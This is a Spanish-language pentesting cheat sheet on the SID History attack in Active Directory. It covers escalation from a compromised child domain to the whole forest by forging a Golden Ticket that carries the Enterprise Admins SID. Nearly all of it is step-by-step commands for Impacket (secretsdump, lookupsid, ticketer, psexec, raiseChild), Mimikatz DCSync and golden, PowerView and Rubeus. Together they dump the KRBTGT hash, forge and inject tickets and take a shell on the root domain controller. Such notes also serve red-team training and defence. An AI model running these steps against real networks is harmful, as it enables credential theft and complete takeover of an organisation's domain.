SID History

Descripción

Este ataque permite el compromiso de un dominio principal una vez que el dominio secundario ha sido comprometido.

Dentro de un mismo bosque de Active Directory, la propiedad sIDHistory se respeta cuando no existe la protección de filtrado SID, por lo tanto, si un usuario en un dominio secundario tiene en su sIDHistory establecido el grupo Enterprise Admins (que solo existe en el dominio principal), se lo trata como miembro de este grupo, lo que permite el acceso administrativo a todo el bosque.

Es decir, podemos crear un Golden Ticket desde el dominio secundario comprometido para comprometer el dominio principal.

Linux/Unix

1) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Impacket (secretsdump).

# impacket-secretsdump
secretsdump.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> -just-dc-user <SECONDARY>\krbtgt

2) Obtención de SID del dominio secundario utilizando Impacket (lookupsid).

# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> | grep "Domain SID"

3) Obtención de SID del grupo "Enterprise Admins" del dominio principal utilizando Impacket (lookupsid).

# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC> | grep -B12 "Enterprise Admins"
  • SID grupo "Enterprise Admins": Domain SID-Enterprise Admins RID

4) Creación de Golden Ticket con Impacket (ticketer).

# impacket-ticketer
ticketer.py -nthash <NT-hash-user-KRBTGT> -domain <SECONDARY.ACME.LOCAL> -domain-sid <SID-secondary-domain> -extra-sid <SID-Enterprise-Admins-group> Administrator

5) Configuración de la variable de entorno KRB5CCNAME con Golden Ticket.

export KRB5CCNAME=Administrator.ccache

6) Obtención de shell utilizando Impacket (psexec).

# impacket-psexec
psexec.py <SECONDARY.ACME.LOCAL>/Administrator@<DC01.ACME.LOCAL> -k -no-pass -target-ip <IP-address-DC>

7) Escala de privilegios desde el dominio secundario al dominio principal de forma automatizada utilizando Impacket (raiseChild).

# impacket-raiseChild
raiseChild.py -target-exec <IP-address-DC> <SECONDARY.ACME.LOCAL>/<user>:"<password>"

Windows

1) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Mimikatz.

.\mimikatz.exe
lsadump::dcsync /user:<SECONDARY>\krbtgt

2) Obtención de SID del dominio secundario (actual) utilizando PowerView.

Get-DomainSID

3) Obtención de SID del grupo "Enterprise Admins" del dominio principal.

# PowerView
Get-DomainGroup -Domain <ACME.LOCAL> -Identity "Enterprise Admins" | select distinguishedname, objectsid

# Módulo ActiveDirectory PowerShell
Get-ADGroup -Identity "Enterprise Admins" -Server "<ACME.LOCAL>"

4) Creación de Golden Ticket con Mimikatz.

4.1) Inyectar Golden Ticket en la sesión actual.

.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ptt

Verificar inyección de Golden Ticket en la sesión actual.

klist
dir \\<DC01.ACME.LOCAL>\C$

4.2) Exportar Golden Ticket.

.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ticket:golden-ticket.kirbi

Importar Golden Ticket en sesión con Rubeus.

.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$

5) Creación de Golden Ticket con Rubeus.

5.1) Inyectar Golden Ticket en la sesión actual.

.\Rubeus.exe golden /rc4:<NT-hash-user-KRBTGT> /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /sids:<SID-Enterprise-Admins-group> /user:Administrator /ptt

Verificar inyección de Golden Ticket en la sesión actual.

klist
dir \\<DC01.ACME.LOCAL>\C$

Última actualización